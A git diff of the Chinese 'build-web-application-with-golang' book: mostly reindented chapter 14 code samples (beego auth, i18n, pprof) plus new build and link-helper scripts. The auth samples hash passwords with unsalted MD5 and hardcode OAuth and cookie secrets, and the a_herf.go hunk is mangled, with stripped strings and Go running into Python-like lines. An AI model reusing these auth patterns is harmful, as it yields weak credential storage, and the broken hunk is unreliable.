this.Layout = "admin/layout.html" - this.TplNames = "admin/add.tpl" - } +func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" +} ``` 在模板中这样显示表单 ```html -

New Blog Post

-
- {{.form.render()}} -
+

New Blog Post

+
+{{.form.render()}} +
``` 上面我们定义好了整个的第一步,从struct到显示表单的过程,接下来就是用户填写信息,服务器端接收数据然后验证,最后插入数据库。 ```Go - func (this *AddController) Post() { - var user User - form := this.GetInput(&user) - if !form.Validates() { - return - } - models.UserInsert(&user) - this.Ctx.Redirect(302, "/admin/index") - } +func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") +} ``` ## 表单类型 以下列表列出来了对应的form元素信息: diff --git a/zh/14.4.md b/zh/14.4.md index efa43c160..64f36395f 100644 --- a/zh/14.4.md +++ b/zh/14.4.md @@ -1,266 +1,265 @@ -# 14.4 用户认证 -在开发Web应用过程中,用户认证是开发者经常遇到的问题,用户登录、注册、登出等操作,而一般认证也分为三个方面的认证 - -- HTTP Basic和 HTTP Digest认证 -- 第三方集成认证:QQ、微博、豆瓣、OPENID、google、github、facebook和twitter等 -- 自定义的用户登录、注册、登出,一般都是基于session、cookie认证 - -beego目前没有针对这三种方式进行任何形式的集成,但是可以充分的利用第三方开源库来实现上面的三种方式的用户认证,不过后续beego会对前面两种认证逐步集成。 - -## HTTP Basic和 HTTP Digest认证 -这两个认证是一些应用采用的比较简单的认证,目前已经有开源的第三方库支持这两个认证: -```Go - - github.com/abbot/go-http-auth -``` -下面代码演示了如何把这个库引入beego中从而实现认证: -```Go - - package controllers - - import ( - "github.com/abbot/go-http-auth" - "github.com/astaxie/beego" - ) - - func Secret(user, realm string) string { - if user == "john" { - // password is "hello" - return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" - } - return "" - } - - type MainController struct { - beego.Controller - } - - func (this *MainController) Prepare() { - a := auth.NewBasicAuthenticator("example.com", Secret) - if username := a.CheckAuth(this.Ctx.Request); username == "" { - a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) - } - } - - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } -``` -上面代码利用了beego的prepare函数,在执行正常逻辑之前调用了认证函数,这样就非常简单的实现了http auth,digest的认证也是同样的原理。 - -## oauth和oauth2的认证 -oauth和oauth2是目前比较流行的两种认证方式,还好第三方有一个库实现了这个认证,但是是国外实现的,并没有QQ、微博之类的国内应用认证集成: -```Go - - github.com/bradrydzewski/go.auth -``` -下面代码演示了如何把该库引入beego中从而实现oauth的认证,这里以github为例演示: - -1. 添加两条路由 -```Go - - beego.RegisterController("/auth/login", &controllers.GithubController{}) - beego.RegisterController("/mainpage", &controllers.PageController{}) -``` -2. 然后我们处理GithubController登陆的页面: -```Go - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - ) - - const ( - githubClientKey = "a0864ea791ce7e7bd0df" - githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" - ) - - type GithubController struct { - beego.Controller - } - - func (this *GithubController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - githubHandler := auth.Github(githubClientKey, githubSecretKey) - - githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) - } - -``` -3. 处理登陆成功之后的页面 -```Go - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - "net/http" - "net/url" - ) - - type PageController struct { - beego.Controller - } - - func (this *PageController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - user, err := auth.GetUserCookie(this.Ctx.Request) - - //if no active user session then authorize user - if err != nil || user.Id() == "" { - http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) - return - } - - //else, add the user to the URL and continue - this.Ctx.Request.URL.User = url.User(user.Id()) - this.Data["pic"] = user.Picture() - this.Data["id"] = user.Id() - this.Data["name"] = user.Name() - this.TplNames = "home.tpl" - } -``` -整个的流程如下,首先打开浏览器输入地址: - -![](images/14.4.github.png?raw=true) - -图14.4 显示带有登录按钮的首页 - -然后点击链接出现如下界面: - -![](images/14.4.github2.png?raw=true) - -图14.5 点击登录按钮后显示github的授权页 - -然后点击Authorize app就出现如下界面: - -![](images/14.4.github3.png?raw=true) - -图14.6 授权登录之后显示的获取到的github信息页 - -## 自定义认证 -自定义的认证一般都是和session结合验证的,如下代码来源于一个基于beego的开源博客: -```Go - - //登陆处理 - func (this *LoginController) Post() { - this.TplNames = "login.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - if userInfo.Password == newPass { - var users models.User - users.Last_logintime = now - models.UpdateUserInfo(users) - - //登录成功设置session - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - - this.Ctx.Redirect(302, "/") - } - } - - //注册处理 - func (this *RegController) Post() { - this.TplNames = "reg.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - usererr := checkUsername(username) - fmt.Println(usererr) - if usererr == false { - this.Data["UsernameErr"] = "Username error, Please to again" - return - } - - passerr := checkPassword(password) - if passerr == false { - this.Data["PasswordErr"] = "Password error, Please to again" - return - } - - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - - if userInfo.Username == "" { - var users models.User - users.Username = username - users.Password = newPass - users.Created = now - users.Last_logintime = now - models.AddUser(users) - - //登录成功设置session - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - this.Ctx.Redirect(302, "/") - } else { - this.Data["UsernameErr"] = "User already exists" - } - - } - - func checkPassword(password string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { - return false - } - return true - } - - func checkUsername(username string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { - return false - } - return true - } -``` -有了用户登陆和注册之后,其他模块的地方可以增加如下这样的用户是否登陆的判断: -```Go - - func (this *AddBlogController) Prepare() { - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess_uid := sess.Get("userid") - sess_username := sess.Get("username") - if sess_uid == nil { - this.Ctx.Redirect(302, "/admin/login") - return - } - this.Data["Username"] = sess_username - } -``` -## links - * [目录]() - * 上一节: [表单及验证支持](<14.3.md>) - * 下一节: [多语言支持](<14.5.md>) \ No newline at end of file +# 14.4 用户认证 +在开发Web应用过程中,用户认证是开发者经常遇到的问题,用户登录、注册、登出等操作,而一般认证也分为三个方面的认证 + +- HTTP Basic和 HTTP Digest认证 +- 第三方集成认证:QQ、微博、豆瓣、OPENID、google、GitHub、facebook和twitter等 +- 自定义的用户登录、注册、登出,一般都是基于session、cookie认证 + +beego目前没有针对这三种方式进行任何形式的集成,但是可以充分的利用第三方开源库来实现上面的三种方式的用户认证,不过后续beego会对前面两种认证逐步集成。 + +## HTTP Basic和 HTTP Digest认证 +这两个认证是一些应用采用的比较简单的认证,目前已经有开源的第三方库支持这两个认证: +```Go + +github.com/abbot/go-http-auth +``` +下面代码演示了如何把这个库引入beego中从而实现认证: +```Go + +package controllers + +import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" +) + +func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" +} + +type MainController struct { + beego.Controller +} + +func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } +} + +func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" +} +``` +上面代码利用了beego的prepare函数,在执行正常逻辑之前调用了认证函数,这样就非常简单的实现了http auth,digest的认证也是同样的原理。 + +## oauth和oauth2的认证 +oauth和oauth2是目前比较流行的两种认证方式,还好第三方有一个库实现了这个认证,但是是国外实现的,并没有QQ、微博之类的国内应用认证集成: +```Go + +github.com/bradrydzewski/go.auth +``` +下面代码演示了如何把该库引入beego中从而实现oauth的认证,这里以GitHub为例演示: + +1. 添加两条路由 +```Go + +beego.RegisterController("/auth/login", &controllers.GithubController{}) +beego.RegisterController("/mainpage", &controllers.PageController{}) +``` +2. 然后我们处理GithubController登陆的页面: +```Go +package controllers + +import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" +) + +const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" +) + +type GithubController struct { + beego.Controller +} + +func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) +} + +``` +3. 处理登陆成功之后的页面 +```Go +package controllers + +import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" +) + +type PageController struct { + beego.Controller +} + +func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" +} + +``` +整个的流程如下,首先打开浏览器输入地址: + +![](images/14.4.github.png?raw=true) + +图14.4 显示带有登录按钮的首页 + +然后点击链接出现如下界面: + +![](images/14.4.github2.png?raw=true) + +图14.5 点击登录按钮后显示GitHub的授权页 + +然后点击Authorize app就出现如下界面: + +![](images/14.4.github3.png?raw=true) + +图14.6 授权登录之后显示的获取到的GitHub信息页 + +## 自定义认证 +自定义的认证一般都是和session结合验证的,如下代码来源于一个基于beego的开源博客: +```Go + +//登陆处理 +func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //登录成功设置session + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } +} + +//注册处理 +func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //登录成功设置session + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + +} + +func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true +} + +func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true +} +``` +有了用户登陆和注册之后,其他模块的地方可以增加如下这样的用户是否登陆的判断: +```Go + +func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username +} +``` +## links + * [目录]() + * 上一节: [表单及验证支持](<14.3.md>) + * 下一节: [多语言支持](<14.5.md>) diff --git a/zh/14.5.md b/zh/14.5.md index 2cd1e11e0..8ede76311 100644 --- a/zh/14.5.md +++ b/zh/14.5.md @@ -6,114 +6,114 @@ beego中设置全局变量如下: ```Go - Translation i18n.IL - Lang string //设置语言包,zh、en - LangPath string //设置语言包所在位置 +Translation i18n.IL +Lang string //设置语言包,zh、en +LangPath string //设置语言包所在位置 ``` 初始化多语言函数: ```Go - func InitLang(){ - beego.Translation:=i18n.NewLocale() - beego.Translation.LoadPath(beego.LangPath) - beego.Translation.SetLocale(beego.Lang) - } +func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) +} ``` 为了方便在模板中直接调用多语言包,我们设计了三个函数来处理响应的多语言: ```Go - beegoTplFuncMap["Trans"] = i18n.I18nT - beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate - beegoTplFuncMap["TransMoney"] = i18n.I18nMoney - - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Translate(s) - } - - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Time(s) - } - - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Money(s) - } +beegoTplFuncMap["Trans"] = i18n.I18nT +beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate +beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + +func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) +} + +func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) +} + +func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) +} ``` ## 多语言开发使用 1. 设置语言以及语言包所在位置,然后初始化i18n对象: ```Go - beego.Lang = "zh" - beego.LangPath = "views/lang" - beego.InitLang() +beego.Lang = "zh" +beego.LangPath = "views/lang" +beego.InitLang() ``` 2. 设计多语言包 上面讲了如何初始化多语言包,现在设计多语言包,多语言包是json文件,如第十章介绍的一样,我们需要把设计的文件放在LangPath下面,例如zh.json或者en.json ```json - # zh.json +# zh.json - { - "zh": { - "submit": "提交", - "create": "创建" - } - } +{ +"zh": { + "submit": "提交", + "create": "创建" + } +} - #en.json +# en.json - { - "en": { - "submit": "Submit", - "create": "Create" - } - } +{ +"en": { + "submit": "Submit", + "create": "Create" + } +} ``` 3. 使用语言包 我们可以在controller中调用翻译获取响应的翻译语言,如下所示: ```Go - func (this *MainController) Get() { - this.Data["create"] = beego.Translation.Translate("create") - this.TplNames = "index.tpl" - } +func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" +} ``` 我们也可以在模板中直接调用响应的翻译函数: ```Go - //直接文本翻译 - {{.create | Trans}} +//直接文本翻译 +{{.create | Trans}} - //时间翻译 - {{.time | TransDate}} +//时间翻译 +{{.time | TransDate}} - //货币翻译 - {{.money | TransMoney}} +//货币翻译 +{{.money | TransMoney}} ``` ## links * [目录]() diff --git a/zh/14.6.md b/zh/14.6.md index 53843f4d1..f5251a449 100644 --- a/zh/14.6.md +++ b/zh/14.6.md @@ -2,9 +2,9 @@ Go语言有一个非常棒的设计就是标准库里面带有代码的性能监控工具,在两个地方有包: ```Go - net/http/pprof - - runtime/pprof +net/http/pprof + +runtime/pprof ``` 其实net/http/pprof中只是使用runtime/pprof包来进行封装了一下,并在http端口上暴露出来 @@ -14,47 +14,47 @@ Go语言有一个非常棒的设计就是标准库里面带有代码的性能监 - 首先在beego.Run函数中根据变量是否自动加载性能包 ```Go - if PprofOn { - BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) - BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) - } +if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) +} ``` -- 设计ProfConterller +- 设计ProfController ```Go - package beego - - import ( - "net/http/pprof" - ) - - type ProfController struct { - Controller - } - - func (this *ProfController) Get() { - switch this.Ctx.Params[":pp"] { - default: - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "": - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "cmdline": - pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) - case "profile": - pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) - case "symbol": - pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) - } - this.Ctx.ResponseWriter.WriteHeader(200) - } - +package beego + +import ( + "net/http/pprof" +) + +type ProfController struct { + Controller +} + +func (this *ProfController) Get() { + switch this.Ctx.Param[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) +} + ``` ## 使用入门 通过上面的设计,你可以通过如下代码开启pprof: ```Go - beego.PprofOn = true +beego.PprofOn = true ``` 然后你就可以在浏览器中打开如下URL就看到如下界面: ![](images/14.6.pprof.png?raw=true) @@ -70,7 +70,7 @@ Go语言有一个非常棒的设计就是标准库里面带有代码的性能监 我们还可以通过命令行获取更多详细的信息 ```Go - go tool pprof http://localhost:8080/debug/pprof/profile +go tool pprof http://localhost:8080/debug/pprof/profile ``` 这时候程序就会进入30秒的profile收集时间,在这段时间内拼命刷新浏览器上的页面,尽量让cpu占用性能产生数据。 @@ -107,4 +107,4 @@ Go语言有一个非常棒的设计就是标准库里面带有代码的性能监 ## links * [目录]() * 上一节: [多语言支持](<14.5.md>) - * 下一节: [小结](<14.7.md>) \ No newline at end of file + * 下一节: [小结](<14.7.md>) diff --git a/zh/SUMMARY.md b/zh/SUMMARY.md index dcd220bb7..31942ad5f 100644 --- a/zh/SUMMARY.md +++ b/zh/SUMMARY.md @@ -1,6 +1,6 @@ * [Go环境配置](01.0.md) * [Go安装](01.1.md) - * [GOPATH 与工作空间](01.2.md) + * [Go Module, GOPATH 与工作空间](01.2.md) * [Go 命令](01.3.md) * [Go开发工具](01.4.md) * [小结](01.5.md) diff --git a/zh/a_herf.go b/zh/a_herf.go new file mode 100644 index 000000000..86363789d --- /dev/null +++ b/zh/a_herf.go @@ -0,0 +1,103 @@ +package main + +import( + "fmt" + "log" + "os" + "path/filepath" + "sort" +) +func dir()([]string,error) { + path, err := os.Getwd() + if err != nil { + fmt.Println("err is:", err) + } + log.Println(path) + path =path +"/*.html" + + fmt.Println(path) + files,err := filepath.Glob(path) + var s =make([]string,len(files)) + var head uint8 =0 + for _,k :=range files { + filename := filepath.Base(k) + head=filename[0] + if (head < 52) { + s = append(s, filename) + fmt.Println(filename) + } + } + sort.Strings(s) + + return s,err + } + + +func htmlfile(filename string,next_path string,last_path string)(error){ + file,err:= os.OpenFile("./"+filename,os.O_RDWR,0666) + if err !=nil{ + fmt.Println("something is err :",err) + } + defer file.Close() + var add_string1 string = "\n下一页\n" + var add_string2 string = "\n下一页\n" + file.Seek(1,2) + _,err=file.WriteString(add_string1) + if(err!=nil){ + fmt.Println("err:",err) + } + _,err=file.WriteString(add_string2) + file.Seek(0,0) + if(err!=nil){ + fmt.Println("err:",err) + } + var f =make([]byte,50000) + _,err=file.Read(f) + if(err!=nil){ + fmt.Println("error:",err) + } + //fmt.Println(string(f)) + return err +} +func nextandlast(filenames []string,index int )(filename string,next_path string,last_path string){ + fmt.Println(index," ---",index+1) + filename = filenames[index] + if(0下一页\n') + f.write('\n上一页\n') + + k = k+1 +print("end!") diff --git a/zh/build-web-application-with-golang.azw3 b/zh/build-web-application-with-golang.azw3 new file mode 100644 index 000000000..f65a718c6 Binary files /dev/null and b/zh/build-web-application-with-golang.azw3 differ diff --git a/zh/build-web-application-with-golang.epub b/zh/build-web-application-with-golang.epub index bc463b43e..324ff9d47 100644 Binary files a/zh/build-web-application-with-golang.epub and b/zh/build-web-application-with-golang.epub differ diff --git a/zh/build.go b/zh/build.go index fbf7e662d..60294a184 100644 --- a/zh/build.go +++ b/zh/build.go @@ -1,14 +1,14 @@ package main import ( + "bufio" "fmt" + "github.com/a8m/mark" "io/ioutil" "os" "path/filepath" "regexp" "strings" - - "github.com/fairlyblank/md2min" ) // 定义一个访问者结构体 @@ -17,6 +17,8 @@ type Visitor struct{} func (self *Visitor) md2html(arg map[string]string) error { from := arg["from"] to := arg["to"] + s := ` +` err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { if f == nil { return err @@ -62,8 +64,15 @@ func (self *Visitor) md2html(arg map[string]string) error { os.Exit(-1) } defer out.Close() - md := md2min.New("none") - err = md.Parse([]byte(input), out) + opts := mark.DefaultOptions() + opts.Smartypants = true + opts.Fractions = true + // r1 := []rune(s1) + m := mark.New(input, opts) + w := bufio.NewWriter(out) + n4, err := w.WriteString(s + m.Render()) + fmt.Printf("wrote %d bytes\n", n4) + w.Flush() if err != nil { fmt.Fprintln(os.Stderr, "Parsing Error", err) os.Exit(-1) diff --git a/zh/build.sh b/zh/build.sh index 4f4f7a764..2deb646c9 100755 --- a/zh/build.sh +++ b/zh/build.sh @@ -23,14 +23,15 @@ MSG_TITLE='Go Web编程' TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 -trap 'rm -rf "$TMP"' 0 1 2 3 15 +# TMP=./build +# trap 'rm -rf "$TMP"' 0 1 2 3 15 cd "$TMP" ( -[ go list github.com/fairlyblank/md2min >/dev/null 2>&1 ] || export GOPATH="$PWD" -go get -u github.com/fairlyblank/md2min +[ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" +go get -u github.com/a8m/mark WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build.go" ) @@ -51,6 +52,8 @@ mkdir -p $TMP/images cp -r $WORKDIR/images/* $TMP/images/ ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" -pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/../build-web-application-with-golang.epub" `ls [0-9]*.html | sort` +echo "工作目录$WORKDIR, 临时目录$TMP" + +pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` echo "$MSG_SUCCESSFULLY_GENERATED" diff --git a/zh/build_new.go b/zh/build_new.go new file mode 100644 index 000000000..1414894f0 --- /dev/null +++ b/zh/build_new.go @@ -0,0 +1,150 @@ +package main + +import ( + "fmt" + "io/ioutil" + "bufio" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" +) + +// 开发者 GitHub token +const token = "" + +// 定义一个访问者结构体 +type Visitor struct{} + +func (self *Visitor) md2html(arg map[string]string) error { + from := arg["from"] + to := arg["to"] + s := ` +` + err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { + if f == nil { + return err + } + if f.IsDir() { + return nil + } + if (f.Mode() & os.ModeSymlink) > 0 { + return nil + } + if !strings.HasSuffix(f.Name(), ".md") { + return nil + } + + file, err := os.Open(path) + if err != nil { + return err + } + + input_byte, _ := ioutil.ReadAll(file) + input := string(input_byte) + input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") + + if f.Name() == "README.md" { + input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") + } + + // 以#开头的行,在#后增加空格 + // 以#开头的行, 删除多余的空格 + input = FixHeader(input) + + // 删除页面链接 + input = RemoveFooterLink(input) + + // remove image suffix + input = RemoveImageLinkSuffix(input) + + var out *os.File + filename := strings.Replace(f.Name(), ".md", ".html", -1) + fmt.Println(to + "/" + filename) + if out, err = os.Create(to + "/" + filename); err != nil { + fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) + os.Exit(-1) + } + defer out.Close() + client := &http.Client{} + + req, err := http.NewRequest("POST", "https://api.github.com/markdown/raw", strings.NewReader(input)) + if err != nil { + // handle error + } + + req.Header.Set("Content-Type", "text/plain") + req.Header.Set("charset", "utf-8") + req.Header.Set("Authorization", "token "+token) + // + resp, err := client.Do(req) + if err!=nil { + fmt.Println("err:",err) + } + + defer resp.Body.Close() + + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + // handle error + } + + w := bufio.NewWriter(out) + n4, err := w.WriteString(s + string(body)) //m.Render() + fmt.Printf("wrote %d bytes\n", n4) + // fmt.Printf("wrote %d bytes\n", n4) + //使用 Flush 来确保所有缓存的操作已写入底层写入器。 + w.Flush() + if err != nil { + fmt.Fprintln(os.Stderr, "Parsing Error", err) + os.Exit(-1) + } + + return nil + }) + return err +} + +func FixHeader(input string) string { + re_header := regexp.MustCompile(`(?m)^#.+$`) + re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) + fixer := func(header string) string { + s := re_sub.FindStringSubmatch(header) + return s[1] + " " + s[2] + } + return re_header.ReplaceAllStringFunc(input, fixer) +} + +func RemoveFooterLink(input string) string { + re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) + return re_footer.ReplaceAllString(input, "") +} + +func RemoveImageLinkSuffix(input string) string { + re_footer := regexp.MustCompile(`png\?raw=true`) + return re_footer.ReplaceAllString(input, "png") +} + +func main() { + tmp := os.Getenv("TMP") + if tmp == "" { + tmp = "." + } + + workdir := os.Getenv("WORKDIR") + if workdir == "" { + workdir = "." + } + + arg := map[string]string{ + "from": workdir, + "to": tmp, + } + + v := &Visitor{} + err := v.md2html(arg) + if err != nil { + fmt.Printf("filepath.Walk() returned %v\n", err) + } +} diff --git a/zh/build_new.sh b/zh/build_new.sh new file mode 100755 index 000000000..51ef75afc --- /dev/null +++ b/zh/build_new.sh @@ -0,0 +1,59 @@ +#!/bin/bash + +SED='sed' + +if [ `uname -s` == 'Darwin' ] ; then + SED='gsed' +fi + +bn="`basename $0`" +WORKDIR="$(cd $(dirname $0); pwd -P)" + +# +# Default language: zh +# You can overwrite following variables in config file. +# +MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' +MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' +MSG_CREATOR='M2shad0w' +MSG_DESCRIPTION='一本开源的Go Web编程书籍' +MSG_LANGUAGE='zh-CN' +MSG_TITLE='Go Web编程' +[ -e "$WORKDIR/config" ] && . "$WORKDIR/config" + + +TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 +# TMP=./build +trap 'rm -rf "$TMP"' 0 1 2 3 15 + + +cd "$TMP" + +( +# [ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" +# go get -u github.com/a8m/mark 